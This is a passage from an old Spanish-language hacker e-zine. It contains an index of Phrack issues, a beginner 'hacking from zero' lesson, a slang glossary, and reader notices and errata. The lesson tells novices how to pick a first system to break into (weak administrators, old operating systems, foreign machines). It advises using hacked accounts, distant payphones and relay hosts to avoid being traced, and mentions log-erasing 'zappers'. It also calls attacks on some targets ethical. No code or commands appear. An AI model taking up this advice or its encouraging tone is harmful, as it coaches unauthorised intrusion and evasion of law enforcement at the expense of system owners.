4 Hacking Chilton’s Credimatic by Ryche (7758 bytes)
5 Hacking RSTS Part 1 by The Seker (11701 bytes)
6 How to Make TNT by The Radical Rocker (2257 bytes)
7 Trojan Horses in Unix by Shooting Shark (12531 bytes)
8 Phrack World News VI Part 1 by Knight Lightning (15362 bytes)
9 Phrack World News VI Part 2 by Knight Lightning (16622 bytes)
10 Phrack World News VI Part 3 by Knight Lightning (16573 bytes)

Phrack #8

1 Phrack Inc. Index by Taran King (1k)
2 Phrack Pro-Phile V on Tuc by Taran King (6k)
3 City-Wide Centrex by The Executioner (14k)
4 The Integrated Services Digital Network by Dr. Doom (18k)
5 The Art of Junction Box Modeming by Mad Hacker 616 (6k)
6 Compuserve Info by Morgoth and Lotus (8k)
7 Fun with Automatic Tellers by The Mentor (7k)
8 Phrack World News VII Part I by Knight Lightning (25k)
9 Phrack World News VII Part II by Knight Lightning (26k)

Phrack #9

1 Introduction to Phrack Inc. Issue Nine by Taran King (1.4K)
2 Phrack Pro-Phile on The Nightstalker by Taran King (6.4K)
3 Fun With the Centagram VMS Network by Oryan Quest (3.9K)
4 Programming RSTS/E File2: Editors by Solid State (12.9K)
5 Inside Dialog by Ctrl C (8.4K)
6 Plant Measurement by The Executioner (12.8K)
7 Multi-User Chat Program for DEC-10’s by TTY-Man and The Mentor (6.5K)
8 Introduction to Videoconferencing by Knight Lightning (10.5K)
9 Loop Maintenance Operations System by Phantom Phreaker and Doom Prophet (17.2K)

10 Phrack World News VIII by Knight Lightning (16.3K)

Phrack #10

1 Introduction to Phrack 10 by Taran King (2.2k)
2 Pro-Phile on Dave Starr by Taran King (7.5k)
3 The TMC Primer by Cap'n Crax (6.1k)
4 A Beginner's Guide to the IBM VM/370 by Elric of Imrryr (3.5k)
5 Circuit Switched Digital Capability by The Executioner (11.9k)
6 Hacking Primos Part I by Evil Jay (10.9k)
7 Automatic Number Identification by Phantom Phreaker and Doom Prophet (9.2k)
8 Phrack World News 9 Part I by Knight Lightning (22.7k)
9 Phrack World News 9 Part II by Knight Lightning (14.8k)

Phrack #11

1 Index to Phrack Eleven by Taran King (1.7K)
2 Phrack Pro-Phile VIII on Wizard of Arpanet by Taran King (6.8K)
3 PACT: Prefix Access Code Translator by The Executioner (7.6K)
4 Hacking Voice Mail Systems by Black Knight from 713 (6.0K)
5 Simple Data Encryption or Digital Electronics 101 by The Leftist (4.1K)
6 AIS - Automatic Intercept System by Taran King (15.9K)
7 Hacking Primos I, II, III by Evil Jay (6.7K)
8 Telephone Signalling Methods by Doom Prophet (7.3K)
9 Cellular Spoofing By Electronic Serial Numbers donated by Amadeus (15.2K)
10 Busy Line Verification by Phantom Phreaker (10.0K)
11 Phrack World News X by Knight Lightning
12 Phrack World News XI by knight Lightning

Phrack #12

1 Index of Phrack 12 by Taran King (2.3 k)
2 Pro-Phile IX on Agrajag The Prolonged by Taran King (6.7 k)
3 Preview to Phrack 13-The Life & Times of The Executioner (4.9 k)
4 Understanding the Digital Multiplexing System (DMS) by Control C (18.8 k)
5 The Total Network Data System by Doom Prophet (13.2 k)
6 CSDC II - Hardware Requirements by The Executioner (8.1 k)
7 Hacking : OSL Systems by Evil Jay (8.7 k)
8 Busy Line Verification Part II by Phantom Phreaker (9.1 k)
9 Scan Man's Rebuttal to Phrack World News (16.5 k)
10 Phrack World News XII Part I by Knight Lightning (13.3 k)
11 Phrack World News XII Part II by Knight Lightning (14.7 k)

Phrack #13

1 Phrack XIII Index by Taran King (2.0K)
2 Real Phreaker's Guide Vol. 2 by Taran King and Knight Lightning (5.2K)
3 How to Fuck Up the World - A Parody by Thomas Covenant (9.5K)
4 How to Build a Paisley Box by Thomas Covenant and Double Helix (4.5K)
5 Phreaks In Verse by Sir Francis Drake (3.1K)
6 R.A.G. - Rodents Are Gay by Evil Jay (5.8K)
7 Are You A Phone Geek? by Doom Prophet (8.8K)
8 Computerists Underground News Tabloid - CUNT by Crimson Death (10.5K)
9 RAGS - The Best of Sexy Exy (19.2K)
10 Phrack World News XIII by Knight Lightning (26.0 K)

Phrack #14

1 Introduction by Knight Lightning
2 Phrack Pro-Phile X Featuring Terminus by Taran King
3 The Conscience of a Hacker {Reprint} by The Mentor

```
4  The Reality of The Myth [REMOBS] by Taran King
5  Understanding DMS Part II by Control C
6  TRW Business Terminology by Control C
7  Phrack World News Special Edition #1 by Knight Lightning
8  Phrack World News Issue XIV/1 by Knight Lightning
9  Phrack World News Issue XIV/2 by Knight Lightning
```

Phrack #15

```
1  Phrack XV Intro by Shooting Shark                (2K)
2  More Stupid Unix Tricks by Shooting Shark        (10K)
3  Making Free Local Payfone Calls by Killer Smurf  (7K)
4  Advanced Carding XIV by The Disk Jockey          (12K)
5  Gelled Flame Fuels by Elric of Imrryr            (12K)
6  PWN I:   The Scoop on Dan The Operator by KL     (19K)
7  PWN II:  The July Busts by Knight Lightning      (21K)
8  PWN III: The Affidavit by SFD                    (6K)
```

Phrack #16

```
1  Phrack 16 Intro by Elric of Imrryr                          2K
2  BELLCORE Information by The Mad Phone-Man                  11K
3  A Hacker's Guide to Primos:  Part 1 by Cosmos Kid          11K
4  Hacking GTN by The Kurgan                                   7K
5  Credit Card Laws Laws by Tom Brokow                         7K
6  Tapping Telephone Lines by Agent Steal                      9K
7  Reading Trans-Union Credit Reports by The Disk Jockey       6K
9  The Mad Phone-Man and the Gestapo by The Mad Phone-Man      2K
10 Flight of the Mad Phone-Man by The Mad Phone-Man            2K
11 Shadow Hawk Busted Again by Shooting Shark                  2K
12 Coin Box Thief Wanted by The $muggler                       2K
```

Phrack #17

```
1  Phrack XVII Introduction          Shooting Shark        3K
2  Dun & Bradstreet Report on AT&T   Elric of Imrryr       24K
3  D&B Report on Pacific Telesis     Elric of Imrryr       26K
4  Nitrogen-Trioxide Explosive       Signal Substain       7K
5  How to Hack Cyber Systems         Grey Sorcerer         23K
6  How to Hack HP2000's              Grey Sorcerer         3K
7  Accessing Government Computers    The Sorceress         9K
8  Dial-Back Modem Security          Elric of Imrryr       11K
9  Data Tapping Made Easy            Elric of Imrryr       4K
10 PWN17.1 Bust Update               Sir Francis Drake     3K
11 PWN17.2 "Illegal" Hacker Crackdown The $muggler         5K
12 PWN17.3 Cracker are Cheating Bell  The Sorceress        8K
```

Phrack #18

```
1  Index of Phrack 18 by Crimson Death                      (02k)
2  Pro-Phile XI on Ax Murderer by Crimson Death             (04k)
3  An Introduction to Packet Switched Networks by Epsilon   (12k)
4  Primos: Primenet, RJE, DPTX by Magic Hasan               (15k)
5  Hacking CDC's Cyber by Phrozen Ghost                     (12k)
6  Unix for the Moderate by Urvile                          (11k)
7  Unix System Security Issues by Jester Sluggo             (27k)
8  Loop Maintenance Operating System by Control C           (32k)
9  A Few Things About Networks by Prime Suspect             (21k)
10 Phrack World News XVIII Part I by Epsilon                (09k)
11 Phrack World News XVIII Part II by Epsilon               (05k)
```

Phrack #19

Phrack #20

Phrack #21

Phrack #22

Phrack #23

Phrack #24

Phrack #25

Phrack #26

Phrack #27

Phrack #28

1 Phrack Inc. XXVIII Index by Taran King and Knight Lightning
2 Phrack Pro-Phile XXVIII on Erik Bloodaxe by Taran King
3 Introduction to the Internet Protocols: Chapter Eight of the FTS by KL
4 Network Miscellany by Taran King
5 A Real Functioning PEARL BOX Schematic by Dispater
6 Snarfing Remote Files by Dark OverLord
7 Other Common Carriers; A List By Equal Axis
8 Phrack World News Special Edition III (SummerCon ’89) by Knight Lightning
9-12 Phrack World News XXVIII/Parts 1-4 by Knight Lightning

Phrack #29

1 Phrack Inc. XXIX Index by Taran King and Knight Lightning
2 Phrack Pro-Phile XXIX on Emmanuel Goldstein
3 Introduction to the Internet Protocols II: Chapter Nine of the FTS by KL
4 Network Miscellany II by Taran King
5 Covert Paths by Cyber Neuron Limited and Synthecide
6 Bank Information compiled by Legion of Doom!
7 How We Got Rich Through Electronic Fund Transfer by Legion of Doom!
8 The Myth and Reality About Eavesdropping by Phone Phanatic
9 Blocking of Long-Distance Calls... Revisited by Jim Schmickley
10-12 Phrack World News XXIX/Parts 1-3 by Knight Lightning

Phrack #30

1 Phrack Inc. XXX Index by Taran King and Knight Lightning
2 Network Miscellany III by Taran King
3 Hacking & Tymnet by Synthecide
4 Hacking VM/CMS by Goe
5 The DECWRL Mail Gateway by Dedicated Link
6 Decnet Hackola : Remote Turist TTY (RTT) by *Hobbit*
7 VAX/VMS Fake Mail by Jack T. Tab
8 Consensual Realities in Cyberspace by Paul Saffo
9 The Truth About Lie Detectors by Razor’s Edge
10 Western Union Telex, TWX, and Time Service by Phone Phanatic
11-12 Phrack World News XXX/Parts 1-2 by Knight Lightning
(202) 697-3189 (Copies)

Phrack #31

1 Introduction to Phrack 31 by DH (2K)
2 Phrack Pro-Phile of Markus Hess by PHz (6K)
3 Hacking Rolm’s CBXII by DH (15K)
4 TAMS & Telenet Security by Phreak_Accident (7K)
5 The history of The Legion Of Doom (10K)
6 Cosmos Overview by EBA (52k)
7 Tymnet Security Memo by Anonymous (9K)
8 PWN/Part01 by Phreak_Accident (13K)
9 PWN/Part02 by Phreak_Accident (17K)
10 PWN/Part03 by Phreak_Accident (40K)

Y el proximo numero los que quedan, del 32 al 40...

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 08. CURSO DE HACKING DESDE CERO II                                        º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Como ya habreis leido por ahi, Eljaker se va a tomar un descanso, por eso nos hemos repartido entre algunos, los articulos que se habia dejado a medio. Pues resulta que a mi me ha tocado continuar este cursillo, a si que vamos a intentar continuar mas o menos por donde Eljaker lo dejo.

Mas conceptos basicos:

No es por dejar mal a Eljaker, pero en la primera entrega de este curso se dejo algunos conceptos basicos, en el tintero. Como estos.

ANARQUIA o ANARKIA >> Ademas de los significados oscuros, como son caos o lio. La anarkia es una rama del pensamiento cyberpunk o hacker. Consiste en la lucha contra la sociedad. Generalmente los textos sobre anarkia, son sobre explosivos, armas, tecnicas de lucha, etc...
>> Pensamiento ideologico y politico. No os voy a explicar aqui lo que es la anarkia, porque seria muy extenso. (Incluso hay libros enteros sobre ello, que os recomiendo que leais) Pero resumiendo se podria decir, que se basa en la busqueda de la libertad y en la eliminacion de cualquier poder central o estatal. Aunque muchos de los que dicen ser anarkistas caen en una demagogia barata, el movimiento anarkista tiene una gran profundidad de pensamiento, que personalmente apoyo casi al cien por cien. La ideologia anarkista, esta muy relacionado con el mundo hacker, ya que alguno de sus pilares son los mismos que los de la cultura hacker, y muchos de los mejores hackers fueron y son anarkistas. Jope, he dicho que no me iba a enrollar mucho, pero ya llevo un buen trozo. Bueno, lo que me queda por decir, lo dejo para un articulo de opinion que escribire dentro de poco y que espero que no os parezca muy aburrido.

CYBERPUNK >> Es un tipo de ideologia o de sub-cultura. Se basa en el culto a la tecnologia, a la ciencia, y el odio a cualquier forma de poder organizado. Igual que en el caso de la anarkia, se usa en muchas ocasiones con criterios equivocados, produciendo una mala imagen de este grupo. Tambien tiene una importante relacion con el mundo hacker.

WAREZ >> Pirateria, intercambio de programas a traves del modem. Generalmente por internet.
>> Pirateria en general.

PATCH o PARCHE >> Modificacion de un programa anterior, con la intencion de solucionar un bug, o para crackearlo.

PBX o PABX >> Centrales telefonicas privadas, generalmente de empresas, en Espa¤a no hay muchas, pero haberlas ailas.

BOMBAS ANSI >> Utilizando los codigos ansi, se asigna una accion destructica a alguna tecla. Me explico, ansi es un conjunto de codigos estandar. Si en tu ordenador tienes algun tipo de controlador de codigos ansi, cuando tu ordenador encuentre uno de estos codigos lo ejecutara. Los codigos ansi se usan para varias cosas, entre ellas, cambiar los colores de la pantalla, posicionar el cursor, y el metodo que usan las bombas ansi, asignar a una tecla una accion determinada. Si esta accion es da¤ina, al pulsar la tecla el da¤o se hara. (Para mas detalles, echar un vistazo a alguna de las otras publicaciones en espa¤ol, que han sacado algun articulo sobre ellas.)

ZAPPER >> Programa que se encarga de borrar las huellas (logs) que has dejado al entrar en un sistema.

X25 >> Es un tipo de linea de comunicaciones, como lo es la linea telefonica normal (RTC) o la RDSI. Generalmente se usa para transmisiones de datos. Redes de este estilo son iberpac, tymnet, etc...

SCRIPT >> Seria el equivalnete en unix, de los bat’s del ms-dos, aunque mucho mas potentes y con mas opciones, siendo casi un peque¤o lenguaje de programacion.

INTRANET >> Red privada conectada a internet, pero generalmente aislada de esta por un cortafuegos.
>> Red privada que usa los mismo protocolos de comunicacion que internet (TCP/IP) y que puede estar aislada o conectada a internet.

LOG >> Archivo que recoge un registro de tus actividades en el sistema, almacena informacion sobre tu acceso al sistema.

*Seguro que incluso ahora, me dejo algun concepto olvidado, pero estos van a ser los ultimos que vamos a comentar en este curso. Los conceptos que falten los iremos incluyendo en el diccionario de hacking, que ira siendo actualizado periodicamente. Por ahora ya esta disponible la primera version, que sera de distribucion libre.

*Tambien quiero aclarar, que he descrito cada termino de la forma mas clara que he podido para que incluso con muy pocos conociemientos se puedan entender, ya que este curso es de iniciacion. Debido a la extrema simplificacion de algunos temas, las explicaciones se han quedado cortas o pueden ser erroneas, con el tiempo y cuando hayais alcanzado un nivel de conocimientos mayor, podre pasar a explicaciones mas correctas.

Donde empezar a hackear:

#Introduccion:

Despues de haber leido y estudiado todos los textos sobre hacking que hayas podido encontar y despues de habertelo pensado muy bien, llega el momento de intenatar el primer hack. El problema es por que ordenador decidirte. Pues con estos consejos y con un poco de investigacion, seguro que no vas a tener dudas.

#Requisitos que debe tener nuestro objetivo:

-Debe ser facil ---> Para esta condicion no hay reglas fijas. Hay algunos sistemas operativos mas seguros que otros, pero en general la dificultad depende de la experiencia del administrador. Lo ideal seria buscarse un sistema nuevo (virgen) con un administrador novato. Los sistemas operativos antiguos tambien suelen ser mas sencillos, pero seguramente su administrador se las sabe todas.

-Debes conocerlo bien ---> Antes de decidirte por un sistema tienes que explorar mucho y buscar ordenadores, que te parezcan buenos para empezar. Despues de elegir tu objetivo, debes observarlo e investigarlo bien, antes de decidirte a actuar.

-Debe ser seguro ---> Esto quiere decir que sea seguro para ti. Eres un principiante en esto y tracearte o localizarte va a ser muy facil, por lo tanto tienes que tomar unas severas medidas de seguridad a la hora de hackear para no ser cazado. Esta es la condicion mas importante, si incumples alguna de las otras condiciones, no tendras

exito en tu aventura, pero por lo menos podras volver a intentarlo, pero si incumples esta norma y te pillan, puedes ir despidiendote de la vida hacker. Aunque os podria dar cientos de consejos sobre como hacer un hacking seguro, estas son las principales:
a) Hasta que no tengas un nivel alto de hacking, no lo intentes con ordenadores que esten en tu pais. (O en paises con una legislacion comun, por ejemplo en el caso de Espa¤a, la Union Europea) Si te descubren hackeando un ordenador en Australia, a menos que hayas hecho un destrozo muy grande no se molestaran en venir a buscarte. En cambio si hackeas un ordenador en la zona de influencia legal de tu pais, el administrador lo unico que tiene que hacer es denunciarte a la policia y ellos se encargaran de ir a buscarte.
b) Comienza con sistemas ilegales. Si hackeas un site warez o porno infantil, los administradores no podran denunciarte, ya que ellos mismos estan haciendo algo ilegal. Ademas eticamente hackear uno de estos lugares seria aceptable.
c) Procura utilizar un ordenador que no tenga nada que ver contigo, usa el de la universidad, el del insituto, el del cafe internet, etc...
d) Si puede ser hazlo en una red antigua. En las modernas redes de comunicacion, cada movimiento que hagas sera observado, en cambio en sistemas antiguos podras pasar desapercibido.
e) No hackees ordenadores de empresas o entidades poderosas, ya que se pueden permitir gastar tiempo y dinero en buscarte.
f) Para acceder a la red, usa una cuenta publica o hackeada, por la que no te puedan relacionar.
g) Usa un software apropiado y comprobado. (Hay algunos programas que envian informacion tuya, sin que te enteres, como los navegadores que usan cookies, etc...)
h) Si conoces a algun hacker ya iniciado, dile que te acompa¤e y que te ayude, para aconsejarte y ’para cubrir la retirada’.

-Debe ser interesante ---> No es una condicion imprescindible, pero cuanto mas interesante sea tu objetivo, mas motivado estaras.

#Ordenadores que nunca debes hackear si no tienes un nivel alto:
-Del gobierno. Demasiado poderoso.
-De la compa¤ia telefonica. Casi mas poderosa que el gobierno.
-Que esten situados en tu pais. Por cuestiones legales y burocraticas.
-Que tengan relacion contigo. Para evitar ser identificado.
-De empresas de seguridad informatica. Saben mas que tu.
-De grandes empresas. Tienen mucho dinero para gastar en seguridad informatica.
-De la policia. No conviene cabrearles, por si acaso.
-De servicios secretos. En USA es un deporte nacional intentar hackear el FBI o el pentagono, pero es bastante arriesgado.

#Ordenadores que seria etico hackear:
-Sites Warez. Siempre viene bien un programilla gratis, pero si fueseis programadores seguro que no os gustaria que unos chavales echasen por tierra el trabajo de varios a¤os.
-Proveedores de pornografia infantil. Sin duda a estos pervertidos, hay que hacerles algo.
-Servidores de grupos terroristas o fanaticos. Debe existir libertad de expresion, pero los que ponen bombas se merecen que les hagamos algo.
-Ordenadores de gobiernos no democraticos. La peor tortura es la falta de libertad. La tirania y los tiranos deben desaparecer. Con esto me refiero a que hackear ordenadores dependientes de un estado tiranico, seria una forma de protesta contra ellos.
-Ordenadores de traficantes de informacion. En internet, hay empresas que trafican con informacion sobre nosotros, como si fuesemos objetos. La informacion debe ser libre y gratis, no privada y cara.
-Timadores informaticos. Lease, cualquier otro tipo de delito

informatico.

#El ordenador ideal para hackear por primera vez seria:
-Seria un ordenador poco frecuentado, con muchos servicios abiertos, con un administrador novato, seria virgen, con un sistema operativo antiguo. Nosotros actuariamos desde un ordenador portatil, conectado a una cabina telefonica, en un lugar alejado de nuestra casa y usando una cuenta hackeada. Deberia ser un trabajo estudiado y rapido, como es la primera vez, habra que conformarse con logros peque¤os y no intenar llegar a root el primer dia.

Si se me ocurre alguna cosa mas os lo avisare.

Jerga:

La jerga de los hackers hispanos esta poco desarrollada, y se usa en muy pocos sitios, al contrario que la jerga en ingles que esta mucho mas avanzada, con gran numero de palabras y incluso con diccionarios y textos expecificos sobre ella. (Para mas informacion buscar "The hacker’s jargon")

Desde esta publicacion queremos animaros a que useis las palabras del argot hacker y que extendais su vocabulario. El movimiento hacker en Espa¤a apenas ha empezado a crecer en serio, por eso debemos dar un empujon a este crecimiento, creando publicaciones especializadas y hablando sobre estos temas en serio, y usando un vocabulario tecnico y una jerga apropiada.

El principal objetivo de la jerga, ademas de diferenciarnos del resto de la gente que usa ordenadores y de crear un lenguaje especifico, es hacer que nuetras conversaciones, no puedan ser entendidas por personas ajenas. Es una forma de trasmitir mensajes privados o delicados, sin que los demas se enteren.

Devido a que muy poca gente usa palabras del argot, me ha sido dificil hacer una lista completa. Las pocas palabras que he descubierto, las he encontrado en la mensajeria de las bbs, por las que he estado, y me ha sido dificil encontrarlas y clasificarlas. Si alguien conoce o usa, otros terminos que aqui no aparecen, que nos las envie.

La mayoria de estas palabras son poco usadas, pero esperemos que eso cambie en un futuro cercano:

TELEFONO LIMPIO >> Telefono que no tiene ninguna relacion contigo y en el que estas seguro que no te localizaran. Tiene que ser una linea telefonica que no tenga nada que ver contigo, no tiene que dar ninguna pista sobre tu identidad. (Por ejemplo una cabina de telefonos, alejada de donde vives)

RUIDOS EN LA LINEA >> Se dice que hay ruidos en la linea, cuando hay alguien oyendo o interceptando la informacion que pasa por ella. Se puede usar para indicar al otro de que hay alguien escuchando la conversacion, para que el que esta escuchando no se entere. (Por ejemplo, cuando tu madre, espia tus conversaciones con la novia) Tambien se usa, cuando el telefono esta pinchado. (Por la policia o por otra persona)
-Un termino parecido tambien se emplea en mensajeria para indicar a tu receptor, que alguien a leido tu correo privado. Se suele decir, que el mensaje tiene ruido, o que le mensaje esta corrompido. Una manera mas sutil de indicar esto es introducir una o dos lineas de caracteres extra¤os, en el mensaje, para indicar al otro que hay un estra¤o leyendo el correo privado.

LAMER >> Nombre generico, para los tontos informaticos, significa tonto, novato, que sabe poco. La palabra viene de los tiempos del spectrum, y se aplicaba a los programadores que copiaban el codigo de otros y lo firmaban como propio.

JACKING o DESTRIPAMIENTO >> Control total sobre algo, sobre algun sistema. Se usa sobre todo en cracking o desproteccion de programas (debugging) cuando se consigue un dominio total sobre el programa en ejecucion. Viene de Jack el destripador.

ENTRAR, DARSE UN PASEO o ECHAR UN VISTAZO >> Diversas espresiones, que aplicadas a un sistema informatico significan, haberlo hackeado. Entrar tiene un significado claro, mientras que los otros dos, se usan, cuando se ha entrado, pero no se ha tocado ni hecho nada dentro.

PESCAR o CAZAR >> Conseguir un password o una clave, o un dato valioso a la hora de hackear.
>> Ser localizado o detenido.

-ESTAMOS DENTRO! >> Espresion de jubilo, de alegria. Se usa para celebrar algun exito en el hacking, no solo para celebrar el haber entrado en un sistema, sino que tambien se usa para alegrarse de cualquier logro o como expresion de animo.

TRUCHA, PESCADO o BAKALAO >> Password, clave, o pista importante.

SALTO >> El salto es el uso de un ordenador intermedio, para acceder a algo. Es como un puente entre tu ordenador y aquel con el que te comunicas. Sirve para ocultar tu identidad.

SETA >> Cabina telefonica.

ENCHUFE >> Conexion telefonica, linea, clavija.

JEFE >> Sysop, administrador del sistema.

BOT o ROBOT >> Programa que automatiza una actividad o que hace alguna tarea por si solo. Tambien se usa para referirse a los contestadores automaticos.

LA TIMO >> Telefonica S.A.

EL GILI-PUERTAS >> Nuestro amiguito willy.

DORADO >> CD pirata, cd-rom con programas pirateados. Se llama dorado, por el color que suelen tener lo cd’s grabables.

GORDO >> Sistema importante o muy potente.

SACO >> Lugar donde se almacenan programas o textos intereantes. Puede ser un directorio del disco duro, una caja con disketes, etc... Tambien se puede usar para definir el sitio donde se tiene guardado el material delicado. (Por si no lo sabiais no es demasiado sano, tener el material de hacking a la vista de cualquiera)

REGALO >> Fichero interesante, pero camuflado con el nombre de otro. Por ejemplo, si en un sistema unix consigues el fichero de passwords y lo copias a uno de tus directorios, pero le cambias el nombre por otro. Ese segundo fichero es un ’regalo’.

TIRAR, ECHAR ABAJO o HACER CAER >> Colapsar un sistema, colgarlo, bloquearlo, generalmente con intenciones malignas.

MOCHILA >> Aparato que se conecta al puerto paralelo y que llevan algunos programas comerciales para evitar su copia ilegal.

ESCOBA >> ZAPPER, programa encargado de modificar los logs, para evitar ser detectado.

BICHO >> Script maligno, o con finalidades hack.

SISTEMA VIRGEN >> Sistema que todavia ningun hacker ha descubierto o ha intentado hackear.
>>Sistema que todavia no ha sido hackeado por nadie.

BIBLIA >> Cuaderno donde se apuntan datos interesantes mientras se hackea o se crackea.

Estamos pensando en hacer una seccion de la revista, en la que se traten temas relacionados con el hacking en Espa¤a, entrevistas a personajes famosos en este mundillo, lugares de reunion habituales, etc... Estos articulos serian los ideales, para usar la jerga, para que empeceis a acostumbraros a ella. ¨Que os parece?

Pues si estais de acuerdo empezaremos a trabajar en ello, y en el proximo numero, espero que haya algo preparado.

ESTAMOS DENTRO, amigos

El Duke de Sicilia

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 09. AVISOS, PETICIONES, ETC...                                             º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

1. Tenemos un nuevo lugar de reunion y distribucion. Se llama AXIS y se puede encontrar en infovia. Es un sistema totalmente gratuito que ofrece entre otros www, ftp, telnet, irc, news, correo, etc... todo en infovia y !GRATIS- Y no es por hacer publicidad, pero es que, es un chollo. Pues algunos de nuestros miembros se pasan por alli, charlan por el irc, y escriben en el grupo sobre hacking de las news, si quereis conocer mas a fondo a algunos de los nuestros, podeis pasaros por alli.

2. Si quereis mandar algun articulo o alguna colaboracion, hacerlo a - el_duke1@hotmail.com - o si no teneis conexion a internet, o preferis hacerlo por infovia, podeis mandarlos a - draver@axis.inf -

3. Debido a la mala acogida de los expedientes y a otras muchas causas hemos decidido pasar de ellos y arriegarnos a publicar cualquier informacion libremente, esto nos puede acarrear problemas (Esperemos que no) pero hemos decidido que la informacion debe ser libre, a pesar de los riesgos.

4. Segun estimaciones propias, nuestros lectores de salida, serian unas 5.000 o 10.000 personas, pero segun otras fuentes mas optimistas el numero de lectores podria llegar a los 30.000 o 40.000. Estas segundas cifras son un poco exageradas, pero puede que en pocos meses si podamos llegar a esos espectaculares numeros, ya que nuestra publicacion ya empieza a circular por bbs de todo el pais, y nos llegan noticias desde el otro lado del charco, que nos dicen que por alli tambien nos leen. A si que con estos animos, no podemos mas que seguir trabajando y esforzandonos para vosotros.

5. Como habeis leido, tambien tenemos lectores alla en america, pero muy pocos nos escriben o nos cuentan algo de lo que pasa por alli. Si alguien de fuera de Espa¤a nos lee, que nos lo diga, y que nos cuente que se opina alli de la revista y que tal esta el panorama hacker. Saludos desde esta peque¤a esquina de Espa¤a.

6. Bueno, y nos queda otro grupo de interes, y que se le ve muy poco por el underground, las mujeres. Si por alguna extra¤a razon hay alguna de vosotras leyendo esto, que nos deje un mensajillo. ¨Que opinais vosotras de esto? ¨Tambien en estos temas sois superiores a los hombres? ¨Por que creeis que a las mujeres no les atrae esto? Se os ve muy poco por la red, animaros un poco y haceros notar. Si quereis decirme algo, o escribir un articulillo escribid a:
- el_duke1@hotmail.com
y si no teneis internet, desde infovia podeis escribir a:
- draver@axis.inf

7. Nos han llegado toneladas de cartas. Intentamos responderlas a todas, pero como nos es imposible, vamos a contestar solo las mas interesantes. Por eso, si nos habeis escrito, tened paciencia, porque tardaremos un poco en contestar. Pero seguro que las leeremos todas, tranquilos.

8. Y por favor, no pregunteis tonterias, escribirnos solo sobre los temas de la revista. Para otras cosas como sites warez, como configurar el netscape y chorradas varias esta el irc o los amigos.

9. Como sabreis, la mayoria de los nuestros tienen el correo en hotmail, y resulta que hotmail se basa en el formato html (web) para leer el correo, por eso algunos estan teniendo problemas con el pgp, o con ficheros binarios, por ahora todo esta solucionado, pero si tenemos mas problemas

avisaremos a los interesados. Pero por si acaso hemos decidido cambiar de proveedor de correo. Mientras encontramos uno que merezca nuestra confianza podeis seguir escribiendo a las direcciones de hotmail. Cuando tengamos los nuevos emails os lo diremos. (¨Alguien nos recomienda algin servidor de email anonimo?)

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 10. FALLOS, ERRATAS Y CORRECCIONES                                        º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Varios amigos del grupo saqueadores hemos estado revisando los primeros numeros de la revista y hemos encontrado algunos "peque¤os" fallos. (Nadie es perfecto) Por eso como rectificar es de sabios, vamos a dedicar un articulo a revisar y aclarar algunos malentendidos.

Numero 1:

ARTICULO 1.
-...extender el crimen ni incitar a la [legalidad]-->ilegalidad

ARTICULO 2.
-...puedes intentarlo en un canal de habla [en ingles]-->inglesa
-Sicologia escita sin p, es aceptada por la academia de la lengua, pero si a alguno no le gusta, que la escriba con p-->psicologia

ARTICULO 3.
-...Todo el que haya [intenetado]-->intentado
-...este debugger es [inprescindible]-->imprescindible
-...propiedades que otros debuggers no [tiene]-->tienen
-...->[Incnvenientes]-->inconvenientes
-...para los 2 windows, pero [queria]-->querria

QUEDA PENDIENTE. la segunda entrega de como elegir un buen debugger. Como Eljaker se va a tomar un descanso, le hemos encargado el trabajo a +8D2, y esperamos tenerlo para el proximo numero. Perdonad por el retraso.

Numero 2:

ARTICULO 1.
-...bienvenido a la segunda entrega de este [fancine]-->fanzine
-...incitar a la [legalidad]-->ilegalidad

Numero 3.

-El nombre de uno de nuestros colaboradores, estaba mal escrito, en vez de poner 'duque' deberia poner 'duke'.

ARTICULO 4.
-Este articulo ha tenido mucho exito, y por ello, sera revisado y ampliado en un proximo numero de la revista. Mientras tanto, ahi van unos peque¤os parches.
-...el escaneo de lineas en [espa¤a]-->Espa¤a
-En este articulo se menciona que los telefons moviles son mas dificiles de localizar, esto no es del todo correcto. El numero de un movil, a menos que sea modificado o reprogamado, puede ser localizado con la misma facilidad, que con la que se localiza el numero de un telefono fijo. Eso si, si el movil a sido reprogramado, entonces si que es mucho mas dificil averiguar su numero y su poseedor.
-...telefonos de voz, y [ahorraemos]-->ahorraremos

Numero 4 y Numero 5.

-Ufff, como estos numeros son muy largos, no os voy a poner todas las erratas, pero si os interesa, la version revisada saldra dentro de poco.
-En cuanto a los errores de contenido:
==>Las definiciones que se dan en algunos articulos pueden ser opinables, y es que en este mundo del hacking, nada esta 'estandarizado' y por lo tanto la mayoria de los conceptos son subjetivos o varian dependiendo del contexto.
